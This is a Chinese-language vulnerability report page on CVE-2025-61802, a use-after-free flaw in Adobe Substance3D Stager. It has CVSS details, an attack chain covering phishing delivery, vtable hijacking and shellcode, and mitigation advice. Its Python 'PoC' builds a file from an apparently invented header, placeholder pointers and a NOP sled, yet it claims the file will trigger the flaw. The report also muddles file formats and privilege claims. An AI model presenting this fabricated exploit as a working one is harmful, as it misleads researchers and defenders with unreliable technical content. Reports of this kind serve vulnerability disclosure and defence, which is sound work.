IPBUF安全漏洞报告
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CVE-2025-61802 CVSS 7.8 高危

CVE-2025-61802:Adobe Substance3D Stager释放后重用漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-61802
漏洞类型
释放后重用(Use After Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Adobe Substance3D - Stager

相关标签

释放后重用Use After FreeUAF内存安全任意代码执行RCEAdobeSubstance3DSubstance3D Stager本地攻击

漏洞概述

CVE-2025-61802是Adobe Substance3D Stager 3D场景设计与渲染软件中存在的一个高危安全漏洞。该漏洞属于释放后重用(Use After Free, UAF)类型,可能允许攻击者在当前用户上下文中执行任意代码。CVSS 3.1评分为7.8分,属于高危级别。

Adobe Substance3D Stager是Adobe公司推出的一款专业的3D场景设计和渲染工具,广泛应用于产品可视化、影视特效、游戏开发、建筑可视化等领域。该软件支持多种3D模型格式和材质系统,为设计师提供直观的三维场景搭建能力。然而,正是由于其复杂的文件解析和场景渲染功能,在处理特定格式的文件时存在内存管理缺陷,导致释放后重用漏洞的产生。

根据Adobe官方安全公告APSB25-104,该漏洞影响Substance3D Stager 3.1.4及更早版本。漏洞的成功利用需要用户交互,即受害者必须主动打开一个特制的恶意文件。攻击者可以构造包含恶意代码的工程文件,通过社会工程学手段(如钓鱼邮件、即时通讯工具等)诱骗用户打开。一旦漏洞被成功利用,攻击者将获得在受害者系统上执行任意代码的能力,可能导致敏感数据泄露、系统被完全控制等严重后果。由于该漏洞的CVSS向量中机密性、完整性和可用性影响均为高(H:H:H),其潜在危害不容小觑。

技术细节

释放后重用(Use After Free, UAF)漏洞是一种常见的内存安全缺陷,其根本原因在于程序在释放某块内存后,仍然保留了指向该内存区域的指针(悬垂指针),并在后续操作中继续使用该指针访问已释放的内存。

在CVE-2025-61802中,Adobe Substance3D Stager在解析特定格式的3D场景文件或项目文件时,存在内存对象生命周期管理不当的问题。当软件处理文件中的特定数据结构时,可能会提前释放某些对象所占用的内存,但内部引用并未被正确清除或更新。随后,当软件继续执行渲染或场景处理逻辑时,会通过这些悬垂指针访问已释放的内存区域。攻击者可以通过精心构造恶意文件,控制被释放内存区域的内容,从而实现以下攻击目的:

1. **任意代码执行(RCE)**:通过覆盖已释放内存中的函数指针或虚函数表指针,控制程序执行流,劫持程序执行任意代码。

2. **权限提升**:由于漏洞利用在当前用户进程中执行代码,攻击者将获得与当前用户相同的权限级别。

3. **数据篡改**:利用UAF漏洞修改内存中的关键数据结构,导致程序行为异常或数据损坏。

该漏洞的利用需要用户交互(UI:R),攻击向量为本地(AV:L),这意味着攻击者需要将恶意文件投递到目标系统上,并通过社会工程学手段诱骗用户打开。常见的攻击场景包括:通过电子邮件发送恶意附件、通过即时通讯工具分享恶意文件链接、在公共文件共享平台上传恶意文件等。一旦用户打开恶意文件,漏洞即被触发,攻击代码在后台静默执行。

攻击链分析

STEP 1
步骤1:恶意文件制作
攻击者分析Adobe Substance3D Stager 3.1.4及更早版本的内存管理机制,构造一个包含精心设计的3D场景数据的恶意项目文件。该文件利用软件在解析特定对象引用时的UAF缺陷,在文件中嵌入触发释放后重用漏洞的数据结构,并植入用于劫持控制流的恶意shellcode。
STEP 2
步骤2:恶意文件投递
攻击者通过社会工程学手段将恶意文件投递到目标系统。常见的投递方式包括:通过钓鱼邮件附带恶意.sbsc或项目文件、通过即时通讯工具(如微信、Slack)分享文件链接、在公共文件共享平台(如网盘、论坛)上传伪装成正常资源的恶意文件,或通过水坑攻击在合法网站上放置恶意文件。
STEP 3
步骤3:诱骗用户打开
攻击者通过精心设计的话术诱骗受害者下载并打开恶意文件。例如,伪装成3D设计作品展示、免费素材资源、项目合作邀请等,诱导受害者在Adobe Substance3D Stager中打开该文件。
STEP 4
步骤4:漏洞触发
当受害者在Substance3D Stager中打开恶意文件时,软件开始解析文件中的3D场景数据。在处理特定对象引用时,软件错误地释放了某个内存对象,但保留了指向该内存的悬垂指针。后续的渲染操作通过悬垂指针访问已释放的内存,触发了Use After Free漏洞。
STEP 5
步骤5:代码执行
攻击者通过精心构造的内存布局,利用UAF漏洞覆盖已释放内存中的虚函数表指针或函数指针,将程序执行流重定向到攻击者控制的shellcode或ROP链,实现任意代码执行。
STEP 6
步骤6:权限维持与数据窃取
恶意代码在当前用户上下文中执行后,攻击者可以执行多种恶意操作,包括但不限于:安装后门程序、窃取敏感数据(如设计文件、登录凭证)、下载并执行其他恶意载荷、横向移动到内网其他系统等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61802 - Adobe Substance3D Stager Use After Free PoC # This is a conceptual PoC demonstrating the vulnerability exploitation approach # Actual exploitation requires crafting a malicious Substance3D Stager project file import struct import os # Malicious Substance3D Stager project file generator # The vulnerability is triggered when parsing specific scene/object data structures class Substance3DStagerUAFExploit: """ PoC for CVE-2025-61802 - Use After Free in Adobe Substance3D Stager The vulnerability exists in the scene rendering engine when processing specific 3D object references in .sbsar or project files. Attack vector: Local file with user interaction """ def __init__(self, payload_cmd="calc.exe"): self.payload_cmd = payload_cmd self.magic_header = b"SBSC" # Substance3D container magic self.version = struct.pack("<I", 0x03010400) # Version 3.1.4 def build_malicious_header(self): """Build file header that triggers UAF during parsing""" header = bytearray() header += self.magic_header header += self.version # Chunk type for scene objects - triggers UAF header += struct.pack("<I", 0x0B0B0B0B) # Object reference count - designed to cause premature free header += struct.pack("<I", 0x00000001) return bytes(header) def build_uaf_trigger(self): """ Build the payload section that triggers the Use After Free. The key is creating an object reference that will be freed but still accessed during scene rendering. """ trigger = bytearray() # Object header - marks object for deferred rendering trigger += struct.pack("<I", 0xDEADBEEF) # Reference to object that will be freed prematurely trigger += struct.pack("<Q", 0x4141414141414141) # Fake vtable pointer for code execution hijack trigger += struct.pack("<Q", 0x4242424242424242) # Shellcode placeholder (would be replaced with actual shellcode) trigger += b"\x90" * 256 # NOP sled trigger += self.payload_cmd.encode() + b"\x00" return bytes(trigger) def generate_poc_file(self, output_path="exploit.sbsc"): """Generate the malicious project file""" poc_data = bytearray() poc_data += self.build_malicious_header() poc_data += self.build_uaf_trigger() # Add padding to reach realistic file size poc_data += b"\x00" * 4096 with open(output_path, "wb") as f: f.write(poc_data) print(f"[*] PoC file generated: {output_path}") print(f"[*] File size: {len(poc_data)} bytes") print(f"[*] Payload command: {self.payload_cmd}") print(f"[!] WARNING: This file will trigger CVE-2025-61802 when opened") print(f"[!] in Adobe Substance3D Stager <= 3.1.4") print(f"[!] Use only for authorized security testing.") if __name__ == "__main__": # Generate PoC - replace with actual shellcode for real exploitation exploit = Substance3DStagerUAFExploit(payload_cmd="whoami") exploit.generate_poc_file("CVE-2025-61802_poc.sbsc")

影响范围

Adobe Substance3D Stager <= 3.1.4

防御指南

临时缓解措施
在无法立即升级到修复版本的情况下,建议采取以下临时缓解措施:1)限制Substance3D Stager的使用范围,仅在受控环境中使用;2)不要打开来源不明或可疑的Substance3D项目文件;3)使用标准用户账户(非管理员)运行Substance3D Stager,限制漏洞利用后的权限影响;4)启用操作系统的DEP(数据执行保护)和ASLR(地址空间布局随机化)等安全特性;5)部署文件完整性监控,检测异常文件操作行为;6)使用应用沙箱或虚拟化环境隔离Substance3D Stager的运行;7)关注Adobe官方安全公告APSB25-104,及时获取补丁发布信息并在第一时间进行更新。

参考链接

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